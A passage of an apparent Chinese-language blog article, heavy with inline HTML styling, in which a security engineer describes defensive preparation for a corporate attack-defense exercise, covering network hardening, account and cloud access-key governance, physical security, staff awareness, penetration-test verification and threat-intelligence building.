0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">对所有Web系统、安全设备、网络设备进行未授权和弱口令检测。这部分工作要根据梳理的资产写一些小脚本，快速进行检测，可通过主动扫描来做检测，也可通过流量分析来做检测，具体做法这里不细谈。</span></p><h5 cid="n68" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">办公网网络加固</span></h5><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">这部分主要是确保终端EDR的部署率，确保安全规则设置无误。可以根据各自的情况做一些相对严格的限制，比如封禁办公网终端间除</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">80</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">443</code></span><span md-inline="plain" style="box-sizing: border-box;">端口以外的其它端口访问、禁用USB读写（如有强需求建议专机专用）。另外办公网也可以部署一些蜜罐来迷惑攻击者。</span></p><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">办公网的WIFI也可视情况进行加固，如无必要，可在演习期间关闭WIFI网络。</span></p><p cid="n71" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">办公网的硬件设备也要注意清点，比如VPN、会议系统等。这类设备很容易对公网开放，且0day比较多，如无必要也可以考虑在演习期间关闭。</span></p><h4 cid="n72" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.2.3 数据和权限安全</span></h4><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">数据和权限安全团队重点关注账号权限、密钥风险。列几个重点方向供大家参考。</span></p><h5 cid="n74" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">账号权限收敛及密码策略排查</span></h5><p cid="n75" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">账号权限收敛首先根据梳理的资产明确具有账号权限的核心B类系统，安全设备、网络设备。权限收敛很大一部分工作是做闲置账号的清理。如果公司没有统一认证系统和权限管理系统，那么大概率会出现已离职人员账号未清理、闲置账号（一两年都没用）的情况，这些账号无人使用，如果出现弱口令，被攻击也无人感知，风险极大。密码策略排查这里就不再细说。</span></p><h5 cid="n76" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">密钥治理</span></h5><p cid="n77" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">由于业务全部上云，各个云产品都有对应的AK/SK，密钥风险的管控在云上尤为重要。主要是密钥泄露风险，如果一个大权限AK被泄露，通过API基本可以控制云上所有资产。泄露的核心原因还是明文存储，在代码中明文存储、在服务器上明文存储、在脚本里明文存储。治理思路首先是排查大权限AK，确认是否有开这么大权限的必要，如果确实有必要，是否可以缩小为只读权限。排查明文存储根据我们的工作场景，主要排查主机文件、OSS Bucket上的文件、Git仓库文件，撰写脚本批量排查这些地方是否有明文存储AK的情况并进行整改。</span></p><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">另外一个方式是对AK做ACL限制，限制AK仅允许生产网的IP段访问API，另外听说阿里云后续要做到AK限制到只有哪个VPC来访问，这里给阿里云点个赞，期待。AK限制ACL这件事推动比较难，在AK申请流程中增加限制可解决增量问题，存量未设置ACL的AK就需要日常去推进了。</span></p><p cid="n79" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">密钥治理我们更多的是在讲限制，但问题肯定是没法全部覆盖的，所以我们需要有兜底的手段，我们是通过与反入侵团队合作，调取AK调用记录，定制监控，若AK被非生产网IP所调用，会实时告警。</span></p><h3 cid="n80" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.3 物理安全</span></h3><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">物理安全顾名思义，也有不少需要注意的点。</span></p><h4 cid="n82" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.3.1 办公区物理安全</span></h4><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">办公区物理安全主要是防止近源攻击，WI-FI网络、RFID门禁、暴露的有线网口、USB接口等都可能会成为近源攻击的对象，比如我们当时就发现门口的打卡机连接的网线，可以直入办公网。还有乙方老生常谈的“捡U盘”、医院的服务终端机沙盒bypass等。各位可根据实际情况进行对应的加固。</span></p><h4 cid="n84" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.3.2 机房物理安全</span></h4><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我司机房也有对应的安全团队，所以额外做了些限制和监控，托管的IDC可做的事情不多，这里不细说。</span></p><h4 cid="n86" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.3.3 人员安全意识</span></h4><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">人员安全意识比较关键，安全攻防核心其实是人的对抗。理解攻防演习通过社工攻击人的情况太多了，所以一定要做全员安全意识培训，不同工作性质的人群遇到的风险可能不近相同，比如客服是最容易被钓鱼的，那就要对症下药，政策和安全意识教育两手抓。</span></p><h3 cid="n88" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4 反入侵能力增强</span></h3><p cid="n89" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">聊起反入侵，其实很多公司可能没有反入侵这支团队，入侵检测和应急响应的事情更多的是其它安全工程师兼着就做了，但反入侵这些事情，对攻防演习的效果有决定性的影响。</span></p><p cid="n90" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">笔者在阿里主要负责某个业务的反入侵（非集团/阿里云反入侵团队），团队职责主要是威胁感知和应急响应。因为部分思路和技术非本人原创，所以这里只能选择性的分享一些我自己的思考和实践。</span></p><p cid="n91" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我这里按照渗透测试、威胁情报、威胁感知、应急响应、溯源反制五个方面来详细介绍。因为红队的职责也在我这里，所以渗透测试也在这里一同分享。</span></p><h4 cid="n92" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.1 渗透测试</span></h4><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">其实常规的渗透测试可说的不多，每年我们在攻防演习前都会请阿里云对业务进行全面的渗透测试。因为演习目标是“零”失分，所以渗透测试重点一般是模拟突破边界。当然，在日常的渗透测试中也会做东西向渗透测试。</span></p><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">反向验证，在渗透测试这个部分单独说一下。我们安全团队虽然大家做的事情都是为了提升安全能力，但还是分为了以安全加固为主的“正向团队”和更偏攻防实战的“反向团队”。在演习前做的所有加固工作，反向团队都会进行验证。举两个例子，第一个是正向团队为了确保安全防护效果排查了WAF的部署率，那反向团队就会做反向扫描，看是否有遗漏？以及WAF规则是否都正确开启？结果还真发现了由于阿里云WAF大版本更新，IP加白/加黑配置方式变化，导致大版本更新后配置的ACL加白全部无效的情况。第二个是正向团队推进业务接入统一认证系统，结果在反向验证中发现统一认证系统接入SDK并不统一，各个业务放接入方式不一致，导致部分认证可被绕过。</span></p><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">说这么多是为了告诉大家，做安全加固还是要验证，不能太相信“经验”。</span></p><h4 cid="n96" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.2 威胁情报</span></h4><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">实战攻防演习在演习期间，其实是“情报战”。第一年参加演习的时候，感觉雷达就是黑的，不知道谁攻击了我，也不知道现在演习到底什么情况，非常惶恐，这其实就是情报不到位导致的。另外在威胁感知、应急响应、溯源反制大量利用到威胁情报，所以第二部分重点讲一下威胁情报的生产和消费。</span></p><h5 cid="n98" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">威胁情报生产</span></h5><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我们建设了一个内部的威胁情报库，主要包括</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">IP</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">UMID</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">UID</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">姓名</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">威胁类型</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">威胁等级</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">情报可信度</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">等字段。根据如下信息产出威胁情报：</span></p><ul class="list-paddingleft-1" cid="n100" mdtype="list" data-mark="-" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><li style="box-sizing: border-box;margin: 0px;"><p cid="n102" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">历史WAF、态势感知、安骑士、云防火墙、自建告警攻击记录</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n104" mdtype="paragraph" style="box-sizing: 